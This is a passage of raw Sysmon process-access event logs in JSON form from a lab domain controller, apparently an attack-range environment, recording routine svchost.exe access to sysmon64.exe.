Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 